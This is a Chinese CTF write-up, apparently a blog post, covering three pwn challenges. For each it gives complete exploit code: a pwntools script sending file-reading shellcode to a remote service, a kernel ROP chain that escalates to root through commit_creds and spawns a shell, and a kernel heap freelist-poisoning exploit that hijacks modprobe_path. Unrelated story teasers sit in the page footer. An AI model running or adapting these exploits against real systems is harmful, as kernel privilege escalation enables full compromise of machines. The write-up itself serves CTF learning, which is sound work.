}

cat flag 的后门很好触发, 但是这个后门没法用. 因为外面还套着一层模拟器, 所有 系统调用都要经过hook 函数, 而在hook函数中 open 始终返回一个负数, 所以 fread 会认为 open 系统调用失败了(其实成功了). 所以只能通过shellcode 拿到 flag

执行第一个后门很简单, 直接把拿到的数据异或一下返回去就行, 触发第二个后门就需要利用 每次 try 会把函数指针 + 1 的逻辑.

具体exp如下

#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
import struct

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./x86_sandbox"
ip = "121.37.167.19"
port = 9998

LOCAL = True if len(sys.argv)==1 else False

elf = ELF(filename)

remote_libc = "./remote_libc"
if LOCAL:
    io = process(filename)
else:
    context.log_level = 'debug'
    io = remote(ip, port)

def lg(name, val):
    log.info(name+" : "+hex(val))


pause(io)

ru(io, "Your machine-code is \x1B[1;31;5m ")


a = map(lambda x : int(x, 16), io.recvuntil(" \x1B[0m\n", drop=True).split("-"))
b = map(ord, struct.pack("<IIII", *a))
for i in range(15, 0, -1):
    b[i-1] ^= b[i]
c = "".join(map(chr, b)).encode('hex')

for i in range(0x20):
    sla(io, "password", "")

sla(io, "password", c)

ru(io, "data ptr:")
data_ptr = int(rl(io), 16)
lg('data_ptr', data_ptr)

sc = "flag.txt".ljust(0x10, '\0')+asm("""
    xor rsi, rsi;
    xor rdx, rdx;
    xor rcx, rcx;
    xor r9, r9;
    xor r8, r8;
    mov rdi, %#x;
    mov eax, 2;
    syscall;

    mov rdi, 3;
    mov rsi, %#x;
    mov rdx, 0x40;
    mov eax, 0;
    syscall;

    mov rdi, 1;
    mov rsi, %#x;
    mov rdx, 0x40;
    mov eax, 1;
    syscall;

"""%(data_ptr, data_ptr+0x100, data_ptr+0x100))

sla(io, "data<<", sc)
sla(io, "invoke ptr<<", str(data_ptr+0x10))
sla(io, "arg0<<", str(0))
sla(io, "arg1<<", str(0))
sla(io, "arg2<<", str(0))

io.interactive()

baby_hacker2 | solved(after game)

经典栈溢出, 没啥好说的.

//gcc --static -O0 exp.c -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <signal.h> 

uint64_t PKC_ADDR=0; 
uint64_t CC_ADDR=0;

void die(char *msg){
    puts(msg);
    exit(-1);
}

typedef struct TrapFrameSt {
    void *rip;
    uint64_t cs;
    uint64_t eflags;
    void *rsp;
    uint64_t ss;
} TrapFrame;

void get_shell(){
    if (getuid() == 0)
        system("/bin/sh");
    else
        die("[get_shell] uid != 0");
}

TrapFrame trap_frame;
void save_status(){
    uint64_t  rsp;
    uint32_t cs, eflags, ss;
    cs = 0;
    asm volatile("movl %%cs, %0;"
        "pushf;"
        "pop %%rax;"
        "movl %%eax, %1;"
        "movq %%rsp, %2;"
        "movl %%ss, %3;"
        : "=r"(cs), "=r"(eflags), "=r"(rsp), "=r"(ss)
        :
        : "rax"
    );
    trap_frame.rip = &get_shell;
    trap_frame.cs = cs;
    trap_frame.eflags = eflags;
    trap_frame.rsp = (void *)rsp;
    trap_frame.ss = ss;
    printf("[save_status]\nrip : %p\ncs:%#x\neflags:%#x\nrsp:%p\nss:%#x\n\n", &get_shell, cs, eflags, rsp, ss);
}


void set_size(int fd, int size){
    if (ioctl(fd, 0x30000, (1<<31) | size) != 0)
        die("set size ioctl error");
}

void dev_write(int fd, char *buf){
    if (ioctl(fd, 0x30001, buf) != 0)
        die("dev write error");
}

void dev_read(int fd, char *buf){
    if (ioctl(fd, 0x30002, buf) != 0)
        die("dev read error");
}

int main(){
    signal(SIGSEGV, get_shell);
    save_status();

    //construct the payload...
    int fd = open("/dev/babyhacker", 0);
    if (fd < 0)
        die("open dev error");
    
    set_size(fd, 0x260);
    char *buf = calloc(1, 0x270);
    dev_read(fd, buf);
    uint64_t canary = *(uint64_t *)(buf + 0x140);
    printf("canray %p\n", canary);
    uint64_t stack_addr = *(uint64_t *)(buf + 0x148);
    printf("stack addr %p\n", stack_addr);
    uint64_t ret_addr = *(uint64_t *)(buf + 0x150);
    printf("ret addr %p\n", ret_addr);

    uint64_t kernel_base = ret_addr - 0x219218;
    uint64_t kernel_offset = kernel_base - 0xffffffff81000000;
    printf("kernel base %p\n", kernel_base);

    PKC_ADDR = kernel_base + 0xa1820ull;
    CC_ADDR = kernel_base + 0Xa1430ull;
    // dev_write(fd, "aaaabbbbccccdddd");
    int idx = 40;
    uint64_t *p1 = calloc(1, 0x270);
    p1[idx++] = canary; // canary
    p1[idx++] = 0; // saved rbp
    p1[idx++] = kernel_offset +  0xffffffff8109054d; // pop rdi; ret;
    p1[idx++] = 0;
    p1[idx++] = PKC_ADDR;
    p1[idx++] = kernel_offset + 0xffffffff81083f22; // pop rdx; ret;
    p1[idx++] = stack_addr - 0x188;
    p1[idx++] = kernel_offset + 0xffffffff8116cb43; // mov [rdx], rax; ret;
    p1[idx++] = kernel_offset +  0xffffffff8109054d; // pop rdi; ret;
    p1[idx++] = 0xdeadbeef;
    p1[idx++] = CC_ADDR;
    p1[idx++] = kernel_offset + 0xffffffff810636b4; //swapgs; pop rbp; ret;
    p1[idx++] = 0;
    p1[idx++] = kernel_offset + 0xffffffff8168b278; //iretq
    memcpy(&p1[idx], &trap_frame, sizeof(TrapFrame));
    
    dev_write(fd, (char *)p1);
    return 0;
}

kernoob | solved (after game)

第一次做内核堆题. 赛后参考 kirin 的wp复现了一遍, 学到了很多.

看了一下 kmalloc 的源码之后发现其实kmalloc组织被free 的object 的方式和 fastbin 很像, 也是通过单向链表. 不过这儿的链表指针用了 一个 random 数去异或. 所以想要利用的话需要先 leak 这个 random 数.

内核堆题一个比较麻烦的点就在于 kmalloc 可能随时会被内核的其它代码调用. 所以malloc/free 的次数, object 之间的偏移都具有一定的随机性. 我写exp的时候为了利用已有信息尽量消灭随机性做了不少工作.

此外, 还学到了一种新的提权方式(利用 modprobe_path). kirin 的blog中还提到了修改 /bin/umount 来提权. 提权的骚操作太多了.

最终exp如下

//gcc --static -O0 exp.c -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <signal.h> 
#include <sys/mman.h>

uint64_t PKC_ADDR=0xffffffff810ad7e0; 
uint64_t CC_ADDR=0xffffffff810ad430;

void die(char *msg){
    puts(msg);
    exit(-1);
}


void add_note(int fd, uint64_t idx, uint64_t size){
    uint64_t args[3] = {idx, 0, size};
    if (ioctl(fd, 0x30000, &args) != 0)
        die("add error");
}

void remove_note(int fd, uint64_t idx){
    uint64_t _idx = idx;
    if (ioctl(fd, 0x30001, &_idx) != 0)
        die("remove error");
}

void edit_note(int fd, uint64_t idx, uint64_t size, char *buf){
    uint64_t args[3] = {idx, (uint64_t)buf, size};
    if (ioctl(fd, 0x30002, &args) != 0)
        die("edit error");
}

void show_note(int fd, uint64_t idx, uint64_t size, char *buf){
    uint64_t args[3] = {idx, (uint64_t)buf, size};
    if (ioctl(fd, 0x30003, &args) != 0)
        die("show error");
}

uint64_t hex_print(void *_mem, int cnt){
    uint64_t *mem = (uint64_t *) _mem;

    for (int i=0; i<cnt; i += 2){
        printf("%x : %16llx  %16llx\n", i, (long long unsigned int )mem[i], (long long unsigned int )mem[i+1]);
        
    }

    if (mem[2] == 2)
        return mem[3] - 0x18;

    uint64_t heap_addr = -1;
    for (int i = 0; i<cnt; i++){
        uint64_t tmp  = mem[i];
        if (tmp < 0xffff000000000000 || (tmp & 0xf) == 0)
            continue;
        else if (tmp != heap_addr)
            heap_addr = tmp;
        else
            return heap_addr - 0x28;
        
    }
    return -1;
}

int main(){  
    //construct the payload...
    int fd = open("/dev/noob", 0);
    if (fd < 0)
        die("open dev error");
    char *buf = calloc(1, 0x400);
    uint64_t *buff = (uint64_t *)buf;

    uint64_t chunk_size = 0x60;
    int pre_malloc = 0x14;

    for (int i=0; i<pre_malloc; i++){
        add_note(fd, i, chunk_size);
    }

    int idx1, idx2;
    uint64_t heap_addr1, heap_addr2;
    idx1 = idx2 = -1;
    heap_addr1 = heap_addr2 = -1;
    
    for (int i=0; i<pre_malloc; i++){
        printf("\nprobing chunk %x:\n", i);
        show_note(fd, i, chunk_size, buf);
        if (heap_addr1 == -1){
            if ((heap_addr1 =  hex_print(buf, chunk_size/8)) == -1)
                continue;
            idx1 = i;
            printf("heap_addr1, idx1 : %#llx, %#x\n", heap_addr1, idx1);
        }
        else if (heap_addr2 == -1){
            if ((heap_addr2 = hex_print(buf, chunk_size/8)) == -1)
                continue;
            idx2 = i;
            printf("heap_addr2, idx2 : %#llx, %#x\n", heap_addr2, idx2);
        } else {
            break;
        }
    }
    printf("heap_addr1, idx1 : %#llx, %#x\n", heap_addr1, idx1);
    printf("heap_addr2, idx2 : %#llx, %#x\n", heap_addr2, idx2);

    // leak random
    // remove_note(fd, idx2+1);
    // for (int i,j = 0; i<0x10 && j<3; ++i){
    //     if ((i != idx1) && i != idx2){
    //         remove_note(fd, i);
    //         j++;
    //     }
    // }
    remove_note(fd, idx1);
    remove_note(fd, idx2);
    show_note(fd, idx2, chunk_size, buf);
    // uint64_t random = buff[0] ^ heap_addr1 ^ heap_addr2;
    uint64_t random = buff[0]  ^ heap_addr2; // don't know why....
    printf("random : %#llx\n", random);

    uint64_t target = buff[0];
    for (int i=pre_malloc; i < 0x1a; ++i){
        add_note(fd, i, chunk_size);
        show_note(fd, i, chunk_size, buf);
        if (buff[0] == target){
            printf("malloc %#x back to %#x\n", idx2, i);
            goto kmalloc_back_success;
        }
    }
    die("unable to kmalloc freed object back");

kmalloc_back_success:
    puts("fake fd.....");
    uint64_t ptrs_addr = 0xffffffffc00044c0;

    uint64_t mmap_addr = ((~random >> 48) <<16);
    printf("try to mmap : %#llx\n", mmap_addr);
    uint64_t mmap_mem = mmap(mmap_addr, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
    if (mmap_mem == -1)
        die("mmap failed");
    uint64_t mmap_addr2 = (random & 0xffffffff0000) ^ 0xffffc0000000;
    uint64_t mmap_mem2;
    printf("try to mmap2 : %#llx\n", mmap_addr2);
    if ((mmap_mem2 =  mmap(mmap_addr2, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0)) == -1)
        die("mmap 2 failed");
    uint64_t tmp = ((ptrs_addr + 0x1bc) ^ random) & ((1ull << 48) - 1);
    *((uint64_t *) tmp ) = tmp ^ random;
    printf("mmap2 at : %#llx\n", mmap_mem2);
    ((uint64_t *)mmap_mem2)[0] = mmap_mem2 ^ random;
    printf("mmap success at : %#llx\n", mmap_mem);
    ((uint64_t *)mmap_mem)[0] = (mmap_mem) ^ random ^ (mmap_mem + 8);
    ((uint64_t *)mmap_mem)[1] = (mmap_mem+8) ^ random ^ (ptrs_addr + 0x1bc);

    uint64_t fake = heap_addr2 ^ random  ^ mmap_mem;
    buff[0] = fake;
    printf("fake : %#llx\n", fake);
    remove_note(fd, idx2);
    edit_note(fd, idx2, chunk_size, buf);

    add_note(fd, 0x1f, chunk_size);
    add_note(fd, 0x1c, chunk_size);
    add_note(fd, 0x1d, chunk_size);
    add_note(fd, 0x1e, chunk_size);
    add_note(fd, 0x1b, chunk_size);
    add_note(fd, 0x1a, chunk_size);
    // add_note(fd, 0x1b, chunk_size);

    buff = buf+4;
    buff[0] = 0xffffffff8245aba0;  //
    edit_note(fd, 0x1e, 0xc, buf);
    char *copy = "/home/pwn/copy.sh\0";
    edit_note(fd, 0x1c, strlen(copy), copy);
    return 0;
}

执行完之后 modprobe_path 的内容就变成了 "/home/pwn/copy.sh".

/home/pwn/copy.sh 内容如下

~ $ cat ./copy.sh            
#!/bin/sh                    
/bin/cp /flag /home/pwn/flag 
/bin/chmod 777 /flag         
/bin/chmod 777 /home/pwn/flag

执行一个 非法 ELF 文件即可触发 执行 copy.sh

~ $ /exp

...

~ $ echo -e "\xff\xff\xff" > ./pu1p        
~ $ ls                                     
copy.sh  k        noob.ko  pu1p                 
~ $ chmod a+x ./pu1p                       
~ $ ./pu1p                                 
./pu1p: line 1: ▒▒▒: not found             
~ $ ls                                     
copy.sh  flag     k        noob.ko  pu1p   
~ $ cat flag                               
flag{test}                                 

参考

[1] Kernoob: kmalloc without SMAP

[2] kmalloc 源码分析

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 156,907评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,546评论 1 289
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,705评论 0 238
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,624评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,940评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,371评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,672评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,396评论 0 195
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,069评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,350评论 2 242
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,876评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,243评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,847评论 3 231
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,004评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,755评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,378评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,266评论 2 259

推荐阅读更多精彩内容

  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,222评论 0 6
  • pwntools简单语法 作为最好用的pwn工具,简单记一下用法: 连接:本地process()、远程remote...
    SueLyon阅读 23,693评论 3 38
  • 丝瓜三兄弟 打油诗 文/付朝兰 一 丝丝缕缕向上爬 只为花落有个瓜 瓜熟牵手一起走 骨肉分离油...
    付朝兰阅读 2,642评论 6 12
  • 第十一回 相见会恨晚,离别是不谙 春去夏来,骄阳似火,知了栖息树上,不知疲倦地鸣叫。玄虚离去,云游四海。浮云崖上,...
    飞燕无尘阅读 298评论 1 1
  • [连续签到第790天] 2020-3-9 周一 营销, 离金钱最近的能力。 牧场理论: 1.用户画像 2.拉新 3...
    鉴峰笔记阅读 90评论 0 2